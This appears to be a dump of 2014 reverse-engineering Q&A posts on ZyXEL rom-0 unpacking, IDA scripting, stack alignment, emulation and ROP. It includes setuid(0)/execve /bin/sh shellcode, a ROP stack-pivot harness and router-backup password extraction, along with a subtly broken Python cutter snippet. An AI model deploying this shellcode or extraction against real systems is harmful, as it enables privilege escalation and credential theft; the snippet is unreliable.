\n$ binwalk rom-0\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n------------------------------------------------------------------------------------------------------------------------------------------------------\n0             0x0             ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 0, uncompressed size: 6144, data offset from start of block: 344\n8212          0x2014          ZyXEL rom-0 configuration block, name: \"spt.dat\", compressed size: 4946, uncompressed size: 6832, data offset from start of block: 376\n8232          0x2028          ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 476, uncompressed size: 500, data offset from start of block: 7208\n
\n\n

and what on mine

\n\n
\n$ binwalk rom-4.51 \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n------------------------------------------------------------------------------------------------------------------------------------------------------\n2             0x2             ZyXEL rom-0 configuration block, name: \"dbgarea\", compressed size: 6144, uncompressed size: 0, data offset from start of block: 16\n7319          0x1C97          LZMA compressed data, properties: 0xD0, dictionary size: 33554432 bytes, uncompressed size: 31360 bytes\n8220          0x201C          ZyXEL rom-0 configuration block, name: \"spt.dat\", compressed size: 39600, uncompressed size: 0, data offset from start of block: 16\n8246          0x2036          ZyXEL rom-0 configuration block, name: \"autoexec.net\", compressed size: 500, uncompressed size: 0, data offset from start of block: 16\n
\n\n

LZMA header is \"incorrect\" it cant be decompressed, maybe its modified do not know, so file has dbgarea, spt.dat, autoexec.net standard block but is it comoressed with \"modified\" lzs can u tell ?

\n\n
\n

Here are some notes from RE of \"old\" rom-0

\n
\n\n
\n\n

so I see that righnt now there \"is no help\" so I will post whole file so u can see whole picture

\n\n

Heh I have limitation to 30000 chars so here is link of file \nhttp://pastebin.com/2X00B6rJ Can any one help me to \"reveal\" what they did (changed) to lzs compresion, I asume its lzs

\n\n

Many tnx in advice, cheers

\n", "Title": "backup from ZynOS but, can not be decompressed with LZS", "Tags": "|static-analysis|unpacking|", "Answer": "

it's compressed with LZS ( Lempel-Ziv-Stack ).

\n\n

I was trying to do the password extraction the pythonic way, it's enought to take a look at this shell script and small piece of c code:

\n\n

shell + C solution

\n\n

way of extraction LZS with python

\n\n

and to replace 'dd' usage in same python script:

\n\n
    def romcutter(fname):\n        import sys\n        fpos=8568\n        fend=8788\n        fhandle=file(fname)\n        fhandle.seek(fpos)\n        chunk=\"*\"\n        amount=221\n        while fpos < fend:\n            if fend-fpos < amount:\n                amount = fend-fpos\n                chunk = fhandle.read(amount)\n                fpos += len(chunk)\n                return chunk\n
\n\n

take rom-0, cut it with cutter, and extract result LZS....

\n" }, { "Id": "3668", "CreationDate": "2014-02-12T17:11:23.043", "Body": "

I recently found out about a tool called cycript that apparently does runtime analysis of binaries written with Objective-C. I have a Mac OS X binary that is compiled as x86_64 and is intended to run on Intel Macs. I know cycript is intended to for iOS applications but I wouldn't mind using it on this binary to poke around and see what is going on inside the binary. Most instructions I see for cycript state to start off with UIApp, and then investigating further objects from there.

\n\n

My problem is when I try to investigate UIApp with cycript I get the following error message,

\n\n

ReferenceError: hasProperty callback returned true for a property that doesn't exist.

\n\n

I am assuming I am getting this error message because the binary does not have a UIApp class / method in it because it is a Mac OS X binary and not an iOS.

\n\n

Where would be a good starting point for using cycript with a Mac OS X binary?

\n", "Title": "How to use cycript to investigate a mach-o x86_64 binary?", "Tags": "|osx|", "Answer": "

UIApp is a shorthand for [UIApplication sharedApplication].

\n\n

As this is not an iOS app, but an OS X app you need to use [NSApplication sharedApplication] instead.

\n" }, { "Id": "3669", "CreationDate": "2014-02-12T17:49:51.747", "Body": "

What is the best method to enumerate all xrefs to addresses in a particular segment? I came up with a brute-force approach (as seen below). The code scans each address in a segment and checks for an XrefTo the address.

\n\n
seg_list = []\nfor seg in Segments():\n    seg_list.append(seg)\n\n# logic will be added to remove section that are code later\nseg_list.reverse()\nfor seg in seg_list:  \n    start = SegStart(seg)\n    end = SegEnd(seg)\n    while start < end:\n        gen_xrefs = XrefsTo(start, 0)\n        for xx in gen_xrefs:\n            print hex(start), hex(xx.frm)\n        start += 1\n
\n\n

This approach is very time consuming if I have multiple large segments. IDA adds DATA XREF comments when viewing the data manually. Are these xrefs stored in an accessible way from IDAPython or is there another more practical approach to find the xrefs to a segment?

\n\n
mem_15d:00973000                 dd 1C8h dup(0)\nmem_15d:00973720 dword_973720    dd 101011Ch, 1000h      ; DATA XREF: mem_f08:00970678o\nmem_15d:00973728 off_973728      dd offset off_970178    ; DATA XREF: mem_f08:off_970178o\nmem_15d:00973728                                         ; mem_f08:0097017Co \n
\n\n

Note: Enumerating all xrefs from the code is not an option.

\n", "Title": "Enumerate all XefsTo a Segment in IDAPython", "Tags": "|idapython|", "Answer": "

You can use Heads function from idautils module.\nSo your code will look like that:

\n\n
import idautils\nseg_list = []\nfor seg in Segments():\n    seg_list.append(seg)\n\n# logic will be added to remove section that are code later\nseg_list.reverse()\nfor seg in seg_list:  \n    start = SegStart(seg)\n    end = SegEnd(seg)\n    for ea in idautils.Heads(start, end):\n        gen_xrefs = XrefsTo(ea, 0)\n        for xx in gen_xrefs:\n            print hex(ea), hex(xx.frm)\n
\n" }, { "Id": "3676", "CreationDate": "2014-02-13T07:20:17.697", "Body": "

The control flow graph below is from a single function in Notepad (Win7 64-bit). Why is the linker (or the compiler) separating the basic blocks of a single function into multiple, discontinuous ( not contiguous ) chunks?

\n\n

\"Function

\n", "Title": "Chunked function (discontinuous chunks of code comprising a function)", "Tags": "|c|compilers|", "Answer": "

DCoder already referenced his own answer in a comment.

\n\n

The chunks in the control flow graph are usually referred to as basic blocks or extended basic blocks. The reason why they are being reordered has to with optimizations performed by the compiler.

\n\n

There are several terms for what you are asking about:

\n\n\n\n

I strongly suggest that if you are interested in this topic, you read up on compiler design. In particular I would suggest reading \"the dragon book\" (\"Compilers - Principles, Techniques, & Tools\" by Aho, Lam, Sethi and Ullman) and there the parts about optimization. Here I refer to the second edition from 2007 (ISBN: 0-321-48681-1).

\n\n

Check out the sections 8.4 (\"Basic Blocks and Flow Graphs\") and 8.5 (\"Optimization of Basic Blocks\") and in the latter 8.5.7 (\"Reassembling Basic Blocks From DAGs\"). But that's only the beginning. Chapter 9 is equally important as a whole and so is section 11.10 (\"Locality Optimizations\"). Quoting one of the reasons for the kind of optimization you're asking about from the introductory paragraph of the subsection on partition interleaving:

\n\n
\n

11.10.3 Partition Interleaving

\n \n

Different partitions in a loop often read the same data, or read and write the same cache lines. [...]

\n
\n\n

quoted from \"Compilers - Principles, Techniques, & Tools\" by Aho, Lam, Sethi and Ullman.

\n\n

This boils down to what DCoder has already mentioned in his/her comment to your question.

\n\n

Oh and the book \"Reversing: Secrets of Reverse Engineering\" is also a good read that discusses this in part. However, it's more focused on the \"how does it look\" than the \"why is it done\".

\n" }, { "Id": "3677", "CreationDate": "2014-02-13T08:52:06.807", "Body": "

Antiviruses and similar analysis engines often face the problem of identifying whether the file is harmful. They often do so with the use of (partial)emulation and as a result often fall prey to the tricks (anti-emulation) used by the binary.Is it possible to emulate a binary to such an extent that it becomes impossible for it to identify whether it is running in a virtual environment?

\n", "Title": "Why is true emulation not possible?", "Tags": "|binary-analysis|emulation|", "Answer": "

The question is wrongly placed

\n\n

You are asking the wrong question. Literally. The question is by no means why it isn't possible (it is possible in many cases). The better question is: why it isn't practical?

\n\n

It's interesting to ask it, nevertheless.

\n\n

Why not use hardware assisted virtualization?

\n\n

For starters I've had arguments in the past with certain colleagues (I work in the AV industry) and tried to get across that in certain hardware virtualization methods you gain speed without losing security compared to own emulation implementations. Some of these colleagues held that malware must never we executed natively on a machine without an air gap. Personally I consider this a questionable statement because of the existing proliferation of malware and because todays hardware virtualization features offer (near-)native execution anyway. But I guess it's a matter of taste and politics in the end.

\n\n

Aside from that you'll have to have privileged access to the system in order to control the hypervisor. This may be fine in the context of a file system filter, which runs in kernel mode, but will not be an option in other purely user mode scenarios (like a command line scanner).

\n\n

And then you have only \"emulated\" the machine, not the (operating system) environment in which the harmless or malicious code would normally be running.

\n\n

Speed matters in AV

\n\n

However, concerning the practicality the problem mostly boils down to speed. If you consider that AV file system filters scan every object at least once, that's a lot.

\n\n

Now the AV engines will usually try to make sure that there are static unpackers for certain executable packers so that this won't have to be emulated and so on. There are also other heuristics and static methods in place before it gets down to emulation.

\n\n

But still in this case there will be a sizable fraction of the overall scanned files that will have to be emulated, even if just in part. Since emulation is usually at least an order of magnitude slower than native execution, this adds up quickly, even if only parts of the overall code get emulated in the end.

\n\n

Which system to emulate?

\n\n

Now this seems to be an easy one at surface. Always emulate the one on which you're running.

\n\n

The problem then becomes how to put a whole OS installation into your engine. Now you may counter: \"why don't you use the libraries of the OS you're running on\", to which I will respond that this works only for this particular use case above. But how do I emulate Win32 APIs when running on a PowerPC under AIX? Or in your Android phone on an ARM processor?

\n\n

Our scanners are expected to run across a variety of operating systems and processor architectures and that limits what's possible while maintaining the necessary speed when scanning files/objects.

\n\n

How closely should the emulator follow the real environments' behavior?

\n\n

If you have ever tried ReactOS - an open source project that aims to reimplement the binary interfaces of Windows XP and 2003 Server true to the last detail - with anything but the stuff that comes on the CD image, you'll know that it has all kinds of glitches. Wine as well has a lot of glitches (ReactOS and Wine share a lot of code).

\n\n

AV emulation usually takes many more shortcuts than Wine, because a lot of the functionality isn't required. Let a function succeed or fail and it's fine. The problem is in the very fine details of the Win32 API. And there are loads of those.

\n\n

Windows 95, 98, Me, NT 4, 2000, XP, 2003, Vista, 2008, 7, 2008 R2, 8, 2012, 8.1, 2012 R2

\n\n

... and then you should care for Linux and Mac malware, too? And what about other circumstances like certain hardware configurations (think Stuxnet and how it was \"tied\" to certain USB keys).

\n\n

Basically if you \"emulate\" an executable to find certain indicators for maliciousness or goodness your requirements are different from when you emulate a whole operating system or a machine on which you can run the operating system as if it ran on real hardware.

\n\n

Conclusion: an approximation is enough

\n\n

So an approximation of the real environment is usually enough. Besides you should keep in mind that many of the evasion attempts themselves can be detected, are suspicious and will raise flags.

\n" }, { "Id": "3682", "CreationDate": "2014-02-14T00:04:54.897", "Body": "

Test platform is Linux 32 bit, ELF file, GNU coreutils.

\n\n

Basically I am trying dump all the functions using IDC script, here is part of my IDC script:

\n\n
for (addr = NextFunction(addr); addr != BADADDR; addr = NextFunction(addr)) {\n    name = Name(addr);\n    end = GetFunctionAttr(addr, FUNCATTR_END);\n    locals = GetFunctionAttr(addr, FUNCATTR_FRSIZE);\n    frame = GetFrame(addr);\n    ret = GetMemberOffset(frame, \" r\");\n    if (ret == -1) continue;\n    firstArg = ret + 4;\n    args = GetStrucSize(frame) - firstArg;\n\n    dumpFunction(name, addr, end);\n}\n
\n\n

I am using it to test GNU coretuils, and I find some functions like

\n\n
            public qset_acl\n            qset_acl        proc near\n\n            jmp     chmod_or_fchmod\n            qset_acl        endp\n
\n\n

which can not be found by this script.

\n\n

Am I doing something wrong? Could any one give me some help?

\n\n

Thank you!

\n", "Title": "Why this IDC script can not find all the functions?", "Tags": "|ida|ida-plugin|", "Answer": "

The stack frame structure is not created unless necessary (i.e. the function accesses a stack argument or local variable), so these stub functions get skipped by your (ret == -1) check.

\n" }, { "Id": "3683", "CreationDate": "2014-02-14T02:25:11.427", "Body": "

I have de-assembled a x86 application use ida, it generates\nthe following code

\n\n
.text:1084FF10                 push    ebp\n.text:1084FF11                 mov     ebp, esp\n.text:1084FF13                 and     esp, 0FFFFFFF8h\n.text:1084FF16                 sub     esp, 0D4h\n.text:1084FF1C                 mov     eax, ___security_cookie\n.text:1084FF21                 xor     eax, esp\n
\n\n

What does the instruction \"and esp, 0FFFFFFF8h\" do here?

\n", "Title": "understanding the stack", "Tags": "|ida|assembly|x86|", "Answer": "

This aligns the stack pointer to 8 byte boundary. This is done by the compiler to improve performance, as reads from non-aligned addresses results in performance degradation.

\n" }, { "Id": "3686", "CreationDate": "2014-02-14T23:41:31.530", "Body": "

On Linux 32 bit, I use IDA Pro + IDC script to dump all the functions. Here is part of the script:

\n\n
addr = 0;\nfor (addr = NextFunction(addr); addr != BADADDR; addr = NextFunction(addr)) {\n    name = Name(addr);\n    end = GetFunctionAttr(addr, FUNCATTR_END);\n    Message(\"%s:\\n\", name);\n\n    dumpFunction(name, addr, end);\n}\n
\n\n

Certain functions, like close_stdin defined in GNU coreutils static library, can not be found in this script but I can find those functions in File->Produce File->Create ASM File...

\n\n

Is there something wrong with my script? Can I use it to find out all the functions?

\n", "Title": "Why I can not find all the functions using this IDC script?", "Tags": "|ida|idapython|ida-plugin|", "Answer": "

Your script is OK. IDA possibly doesn't recognize your function as a function during auto-analysis and that's a possible problem.\nIf you will go to the address of this function in IDA pro, press P in disassembly view on this address and rerun the script you'll possibly have your function dumped.

\n\n

There is a very incorrect solution for this problem (incorrect means that it is not always provide good/correct results).\nIf you will pass on any non-function area and create functions automatically with the script below everything that was not defined as function before will be dumped with your script, but I'm not sure for correctness of these results.

\n\n
#I didn't check this code, run on your own risk, \n#use carefully, beware errors\n\nimport idaapi\nimport idc\n\nsegm = idaapi.get_segm_by_name(\".text\")\nstart = segm.startEA\nend = segm.endEA\n\nwhile start < end:\n\n  start = idaapi.find_not_func(start, 1)\n  print \"Attempt to create function at\", hex(start)\n  idc.MakeFunction(start)\n\n  start += 1 # for a case of any error \n
\n" }, { "Id": "3694", "CreationDate": "2014-02-16T20:21:46.203", "Body": "

So basically I use a IDC script to dump the instructions one by one using IDA Pro 6.1, windows 32 bit. PE file format

\n\n

I use try to dump one opcode instructions like

\n\n
stosd\nstosb\nstosq\nmovsd\n
\n\n

in this way:

\n\n
for (addr = funcStart; addr != BADADDR; addr = NextHead(addr, funcEnd)) {\n ......\nauto code;\nline = GetDisasm(addr);\nmnem = GetMnem(addr);\n.......\nif (strstr(line, mnem) != 0) {\n        mnem = line;\n}\nline = form(\"%-8s\", mnem);\n
\n\n

But to my surprise, when meets one opcode instructions like those, mnem get things like

\n\n
stos\nstos\nstos\nmovs\nmovs\nmovs\n
\n\n

By checking the directly dumped asm file ** File->Produce File->Create ASM File...**, I find those error instructions should be

\n\n
stosd\nstosd\nstosd\nmovsd\nmovsd\nmovsd\n
\n\n

Which means the results API GetMnem generated is wrong...

\n\n

Could anyone give me some help? THank you!

\n", "Title": "Why the API GetMnem can not deal with instructions like \"stosd\", \"movsd\" in IDA Pro?", "Tags": "|ida|", "Answer": "

If you take a look at the specific opcodes for those instructions, they are the same.\nTo be more precise, \"stos m8\" and stob have the same opcode (0xAA) as do \"STOS m16\" , \"STOS m32\", \"STOSW\" and \"STOSD\" (0xAB). To quote the manual:

\n\n
\n

At the assembly-code level, two forms of this instruction are allowed: the \"explicit-operands\" form and the \"no-operands\" form. The explicit-operands form (specified with the STOS mnemonic) allows the destination operand to be specified explicitly. Here, the destination operand should be a symbol that indicates the size and location of the destination value. The source operand is then automatically selected to match the size of the destination operand (the AL register for byte operands, AX for word operands, and EAX for doubleword operands). This explicit-operands form is provided to allow documentation; however, note that the documentation provided by this form can be misleading. That is, the destination operand symbol must specify the correct type (size) of the operand (byte, word, or doubleword), but it does not have to specify the correct location. The location is always specified by the ES:(E)DI registers, which must be loaded correctly before the store string instruction is executed.

\n
\n\n

And from the GetMnem documentation:

\n\n
\n

note: this function may not return exactly the same mnemonics\n as you see on the screen.

\n
\n" }, { "Id": "3701", "CreationDate": "2014-02-17T17:05:51.803", "Body": "

Whenever I attach a process in OllyDbg v1.10 on my Windows 7 64-bit machine, I notice that the first saved EBP on the stack doesn't point to the very base of the stack. Instead it points 16 bytes before it.

\n\n

To illustrate what I mean, see the following screenshot:\n\"screen-shot

\n\n

The EBP (highlighted in gray), which is right above the RETURN to ntdll.76FC9F45, is pointing to 1B05FFEC. Note that this address ends with EC, not FC.

\n\n

Question 1: Why isn't the EBP pointing to 1B05FFFC?

\n\n

Question 2: What do the first 16 bytes on the stack represent?

\n\n

Question 3: Is the number of bytes (16), which are between StackBase and the address to where the first EBP points to, fixed for Windows OSs?

\n", "Title": "What do the first 16 bytes on the stack represent?", "Tags": "|windows|ollydbg|debuggers|x86|callstack|", "Answer": "
\n

Question 1: Why isn't the EBP pointing to 1B05FFFC?

\n
\n\n

Because 1B05FFFC is not the base address of the stack frame.

\n\n

The only reason that OllyDbg shows 1B05FFFC as the last address in the stack-view is that it's the address of the last DWORD in the stack's memory page.

\n\n
\n

Question 2: What do the first 16 bytes on the stack represent?

\n
\n\n

It depends on the debugger.

\n\n

For example, from my limited testing...

\n\n

When attaching WinDbg to a 32-bit EXE on Windows 7 x64, [ESP] is the return address back into ntdll!DbgUiRemoteBreakin from the call to ntdll!DbgBreakPoint.

\n\n

When attaching OllyDbg v2.01 to a 32-bit EXE on Windows 7 x64 or Windows 7 x86, the debugger suspends the debuggee in the middle of an executing debuggee thread, so the value of ESP is whatever ESP was in the debuggee's thread at the moment OllyDbg attached to it.

\n" }, { "Id": "3704", "CreationDate": "2014-02-17T19:39:57.633", "Body": "

I use ProcessHacker version 2.33 to inspect the functions which are exported by DLLs in running processes. In the screen-shot below you can see a few exported functions from a C++ application, along with their Ordinal number and virtual address (VA):

\n\n

\"enter

\n\n

This is a pretty cool feature of ProcessHacker, which I was not able to find in ProcessExplorer. However, regarding the entries you can see in this screen-shot, I was not able to find what do the ? (question marks) and the number, which prefixes the names of the functions, mean. Also, I'm not sure what the single and double @ (at) symbols in the name, followed by a group of capital letters or number, mean.

\n\n

Question 1: What do the symbols (?, @), number-prefix and capital letter suffixes represent? How can one interpret them?

\n\n

Question 2: What does the \"Ordinal\" column mean?

\n\n

Question 3: Does the \"VA\" column show the offset of the procedure entry point, with respect to the base address of the .text segment of the DLL? If not, what does it represent?

\n\n

Question 4: How can one compute the absolute address of any function from the Exports tab?

\n", "Title": "How to interpret entries from Exports tab in ProcessHacker", "Tags": "|dll|libraries|processhacker|", "Answer": "

I'd recommend loading the dll file into PE Explorer (View->Export), which will undecorate the names for you and show you the corresponding parameters/return value/calling convention.

\n\n

You may also want to check out this question.

\n" }, { "Id": "3716", "CreationDate": "2014-02-18T21:36:43.910", "Body": "

Basically I us IDA Pro 6.1 on Windows 32 bit, dealing with binaries from SPEC 2006.

\n\n

I use IDA Pro to generate asm code from the binaries, and in the .data section, I see data define like this:

\n\n
GS_ExceptionRecord _EXCEPTION_RECORD  <?>\nGS_ContextRecord _CONTEXT  <?>\nlclcritsects    _RTL_CRITICAL_SECTION 0Eh dup(<?>)\n .....\nDoubleFormat    FpFormatDescriptor <400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh>\nFloatFormat     FpFormatDescriptor <80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh>  \n
\n\n

Basically I can not find the definition of _EXCEPTION_RECORD ,_CONTEXT ,_RTL_CRITICAL_SECTION, FpFormatDescriptor in the generated asm code.

\n\n

And in the code, they will be used like:

\n\n
mov     edi, DoubleFormat.precision\nmov     eax, DoubleFormat.min_exp\nsub     ecx, DoubleFormat.precision\n\nmov     edi, FloatFormat.precision\n\nmov     edi, offset lclcritsects\n\nmov     GS_ContextRecord._Eax, eax\nmov     word ptr GS_ContextRecord.SegSs, ss\npop     GS_ContextRecord.EFlags\n
\n\n

So basically my questions are:

\n\n
    \n

  1. How can I find the definition of these stuff?

    2. \n

  2. Basically I use File-->Produce File-->Create ASM File to generate asm code for analysis, then how can I dump these definitions from IDA Pro's Structures window into this asm code?

    3. \n
\n\n

And what's more, it seems that I can not find the definition in Structures window even if I expand them....

\n\n

\"enter

\n", "Title": "Why IDA Pro generate define-lack code like this?", "Tags": "|ida|disassembly|winapi|nasm|", "Answer": "

seems to be a struct from some internal microsoft floating point conversion code possibly from windbg source tree

\n\n

seems to be defined like

\n\n
typedef struct { \nint max_exp; // maximum base 2 exponent (reserved for special values) \nint min_exp; // minimum base 2 exponent (reserved for denormals) \nint precision; // bits of precision carried in the mantissa \nint exp_width; // number of bits for exponent\nint format_width; // format width in bits \nint bias;  // exponent bias \n} FpFormatDescriptor; \n
\n\n

Double

\n\n
static FpFormatDescriptor \nDoubleFormat = { \n0x7ff - 0x3ff, //  1024, maximum base 2 exponent (reserved for special values)\n0x0 - 0x3ff, // -1023, minimum base 2 exponent (reserved for denormals) \n53, // bits of precision carried in the mantissa \n11, // number of bits for exponent \n64, // format width in bits \n0x3ff,  // exponent bias \n}; \n
\n\n

Float

\n\n
static FpFormatDescriptor \nFloatFormat = { \n0xff - 0x7f, //  128, maximum base 2 exponent(reserved for special values) \n0x0 - 0x7f, // -127, minimum base 2 exponent (reserved for denormals) \n24, // bits of precision carried in the mantissa \n8,   // number of bits for exponent \n32, // format width in bits \n0x7f,  // exponent bias \n}; \n
\n" }, { "Id": "3726", "CreationDate": "2014-02-20T08:01:52.190", "Body": "

I am working on return oriented programming exploitation on a x86_64 Linux.\nHowever, my research leads to impossibility of ROP exploitation in 64-bit Linux machine because all of code segments are loaded in null byte leading addresses.\nIs it true?

\n\n
Gdb,Sections:\n(gdb) i file\n    `/home/******/Desktop/BOF/lib64', file type elf64-x86-64.\n    Entry point: 0x400ffc\n    0x0000000000400190 - 0x00000000004001b0 is .note.ABI-tag\n    0x00000000004001b0 - 0x00000000004001d4 is .note.gnu.build-id\n    0x00000000004001d8 - 0x00000000004002f8 is .rela.plt\n    0x00000000004002f8 - 0x0000000000400312 is .init\n    0x0000000000400320 - 0x00000000004003e0 is .plt\n    0x00000000004003e0 - 0x0000000000494808 is .text\n    0x0000000000494810 - 0x000000000049614c is __libc_freeres_fn\n    0x0000000000496150 - 0x00000000004961f8 is __libc_thread_freeres_fn\n    0x00000000004961f8 - 0x0000000000496201 is .fini\n    0x0000000000496220 - 0x00000000004b6224 is .rodata\n    0x00000000004b6228 - 0x00000000004b6230 is __libc_atexit\n    0x00000000004b6230 - 0x00000000004b6288 is __libc_subfreeres\n    0x00000000004b6288 - 0x00000000004b6290 is __libc_thread_subfreeres\n    0x00000000004b6290 - 0x00000000004c32ac is .eh_frame\n    0x00000000004c32ac - 0x00000000004c33b9 is .gcc_except_table\n    0x00000000006c3ea0 - 0x00000000006c3ec0 is .tdata\n    0x00000000006c3ec0 - 0x00000000006c3ef8 is .tbss\n    0x00000000006c3ec0 - 0x00000000006c3ed0 is .init_array\n    0x00000000006c3ed0 - 0x00000000006c3ee0 is .fini_array\n    0x00000000006c3ee0 - 0x00000000006c3ee8 is .jcr\n    0x00000000006c3f00 - 0x00000000006c3ff0 is .data.rel.ro\n    0x00000000006c3ff0 - 0x00000000006c4000 is .got\n    0x00000000006c4000 - 0x00000000006c4078 is .got.plt\n    0x00000000006c4080 - 0x00000000006c56f0 is .data\n    0x00000000006c5700 - 0x00000000006c8308 is .bss\n    0x00000000006c8308 - 0x00000000006c8338 is __libc_freeres_ptrs\n\n    0x0000000000400190 - 0x00000000004001b0 is .note.ABI-tag\n    0x00000000004001b0 - 0x00000000004001d4 is .note.gnu.build-id\n    0x00000000004001d8 - 0x00000000004002f8 is .rela.plt\n    0x00000000004002f8 - 0x0000000000400312 is .init\n    0x0000000000400320 - 0x00000000004003e0 is .plt\n    0x00000000004003e0 - 0x0000000000494808 is .text\n    0x0000000000494810 - 0x000000000049614c is __libc_freeres_fn\n    0x0000000000496150 - 0x00000000004961f8 is __libc_thread_freeres_fn\n    0x00000000004961f8 - 0x0000000000496201 is .fini\n    0x0000000000496220 - 0x00000000004b6224 is .rodata\n    0x00000000004b6228 - 0x00000000004b6230 is __libc_atexit\n    0x00000000004b6230 - 0x00000000004b6288 is __libc_subfreeres\n    0x00000000004b6288 - 0x00000000004b6290 is __libc_thread_subfreeres\n    0x00000000004b6290 - 0x00000000004c32ac is .eh_frame\n    0x00000000004c32ac - 0x00000000004c33b9 is .gcc_except_table\n    0x00000000006c3ea0 - 0x00000000006c3ec0 is .tdata\n    0x00000000006c3ec0 - 0x00000000006c3ef8 is .tbss\n    0x00000000006c3ec0 - 0x00000000006c3ed0 is .init_array\n    0x00000000006c3ed0 - 0x00000000006c3ee0 is .fini_array\n    0x00000000006c3ee0 - 0x00000000006c3ee8 is .jcr\n    0x00000000006c3f00 - 0x00000000006c3ff0 is .data.rel.ro\n    0x00000000006c3ff0 - 0x00000000006c4000 is .got\n    0x00000000006c4000 - 0x00000000006c4078 is .got.plt\n    0x00000000006c4080 - 0x00000000006c56f0 is .data\n    0x00000000006c5700 - 0x00000000006c8308 is .bss\n    0x00000000006c8308 - 0x00000000006c8338 is __libc_freeres_ptrs\n
\n", "Title": "ROP exploitation in x86_64 linux", "Tags": "|exploit|buffer-overflow|x86-64|", "Answer": "

This comes down to the type of bug you are exploiting. If your payload cant contain null bytes (a vulnerable strcpy), this can become an issue, however not all bugs have this constraint. Take for example a bug in how a filetype is parsed, which allows null bytes.

\n\n

Also there is the possibility of a series of bugs to be used, for example, the idea of heap spraying. Generally you spray the heap doing other \"legitimate\" things, such as in this write up by corelancoder. His shell code, which would be your ROP chain, is part bitmap files that he consecutively loads to \"spray the heap\", while the bug is actually triggered by javascript and doesn't actually contain the shellcode.

\n\n

If you want to just work on ROP, and not worry about byte limitations, i'd suggest writing a simple harness to test your shellcode.

\n\n

EDIT Sorry wrong harness. This one is clearly 64-bit specific.

\n\n
#include <stdio.h>\n#include <stdlib.h>\n\nint data[10000000];\n\nvoid start_rop(char * rop)\n{\n        __asm(\"mov (%rax),%rsp\"); //move contents of first argument into the stack pointer\n}\n\nint main(int argc, char * argv)\n{\n\n        char  code[] = \"AAAAAAAA\";\n        char * malloc_code = (char *)malloc(sizeof(code));\n        memcpy(malloc_code,&code,sizeof(code));\n\n        start_rop(malloc_code);\n\n        free(malloc_code);\n        return 0;\n}\n
\n" }, { "Id": "3733", "CreationDate": "2014-02-20T18:01:06.187", "Body": "

So basically I my nasm syntax asm code, I use some extern functions like this:

\n\n
extern _printf\nextern __imp__Sleep@4\n....\ncall _printf\ncall    [__imp__Sleep@4]\n
\n\n

Then I use nasm to assemble it into obj:

\n\n
nasm -f win32 test.asm\n
\n\n

Then I use IDA Pro to disassemble test.obj, I can see code like this:

\n\n

\"enter

\n\n

See, extern function name like _printf has been kept.

\n\n

But when I link this obj file:

\n\n
cl /MT z:\\\\windows\\\\test.obj /link kernel32.lib libcmt.lib /SUBSYSTEM:CONSOLE\n
\n\n

Then I use IDA Pro to disassemble test.exe, I can see code like this:

\n\n

\"enter

\n\n

See, the function name of _printf has been changed.

\n\n

I know basically after static link, the code of _printf has been put into the test.exe, in the subroutine of sub_409C9B

\n\n

But basically I have to make the name of extern declared functions unchangeable, because I need to reverse engineering the test.exe and do some modify/remove towards those functions, and once PE exe lost the name info, I can not locate those targeting functions.

\n\n

So my question is:

\n\n

Why cl.exe will change the name of those functions, and is there any way to stop the change(I mean keep the function name unchangeable during the link time)?

\n", "Title": "Why cl.exe change the extern function name used in my code?", "Tags": "|ida|winapi|nasm|", "Answer": "

You've got some kind of XY-problem.

\n\n

The truth is: it's IDA who so to say \"changes\" the name of (something she thinks is) a function from absolutely nothing to sub_{address}. Why on earth would PE-file have non-exported symbols stored in it? Some kind of masochism? To give a candy to reversers?

\n\n

Thus, you have at least three ways of dealing with your problem:

\n\n\n" }, { "Id": "3741", "CreationDate": "2014-02-22T12:17:53.460", "Body": "

Being a beginner in C# I wonder if it is possible to patch a .class file inside a .jar?

\n\n

Since jar files tend to act like \"zip\" files, the approach I think might work is to decompress the jar, patch the hex offset in the *.class then zip back the jar and overwrite the original.

\n\n

Any examples or tutorials showing how to do this? is there a better approach?

\n", "Title": "Patch a Java class inside a jar using C#", "Tags": "|java|hex|patching|jar|c#|", "Answer": "

After some more research I found this tutorial and this answer about patching class files inside jars using the SharpZipLib library.

\n" }, { "Id": "3748", "CreationDate": "2014-02-24T08:18:37.010", "Body": "

I have the following assembly code over Linux distro:

\n\n
# using the .data section for write permission\n# instead of .text section\n.section .data\n.globl _start\n\n_start:\n     # displaying some characters for watermarking :-)\n     xor %eax,%eax      # clear eax by setting eax to 0\n     xor %ebx,%ebx      # clear ebx by setting ebx to 0\n     xor %edx,%edx      # clear edx by setting edx to 0\n     push %ebx          # push ebx into the stack, base pointer\n                        # for the stack frame\n     push $0xa696e55    # push U-n-i characters\n     push $0x4d555544   # push M-U-U-D characters\n     push $0x414d4841   # push A-M-H-A characters\n     movl  %esp,%ecx    # move the sp to ecx\n     movb  $0xf,%dl     # move 15 to dl (low d), it is the string length,\n                        # notice the use of movb - move byte, this is to avoid null\n     movb  $0x4,%al     # move 4 to al (low l),\n                        # 4 is system call number for\n                        # write(int fd, char *str, int len)\n     int  $0x80         # call kernel/syscall\n\n     # setuid(0)\n     xor %eax,%eax      # clear eax by setting eax to 0\n     xor %ebx,%ebx      # clear ebx by setting ebx to 0\n     xor %ecx,%ecx      # clear ecx by setting ecx to 0\n     movb $0x17,%al     # move 0x17 into al - setuid(0)\n     int $0x80          # call kernel/syscall\n\n     jmp do_call        # jump to get the address with the call trick\n\njmp_back:\n     pop %ebx           # ebx (base pointer=stack frame pointer) has \n                        # the address of our string, use it to index\n     xor %eax,%eax      # clear eax by setting eax to 0\n     movb %al,7(%ebx)   # put a null at the N or shell[7]\n     movl %ebx,8(%ebx)  # put the address of our string (in ebx) into shell[8]\n\n     movl %eax,12(%ebx) # put the null at shell[12] our string now looks something like\n                        # \"/bin/sh\\0(*ebx)(*0000)\"\n     xor %eax,%eax      # clear eax by setting eax to 0\n     movb $11,%al       # put 11 which is execve\n\n# syscall number into al\n     leal 8(%ebx),%ecx  # put the address of XXXX i.e. (*ebx) into ecx\n     leal 12(%ebx),%edx # put the address of YYYY i.e. (*0000) into edx\n     int $0x80          # call kernel/syscall\n\ndo_call:\n     call jmp_back\n\nshell:\n     .ascii \"/bin/shNXXXXYYYY\"\n
\n\n

How is it possible to convert it to C code?

\n", "Title": "Converting assembly code to c", "Tags": "|disassembly|decompilation|linux|c|exploit|", "Answer": "

There's also asm2c that works on assembly source code instead of executables or objects files.

\n\n
\n

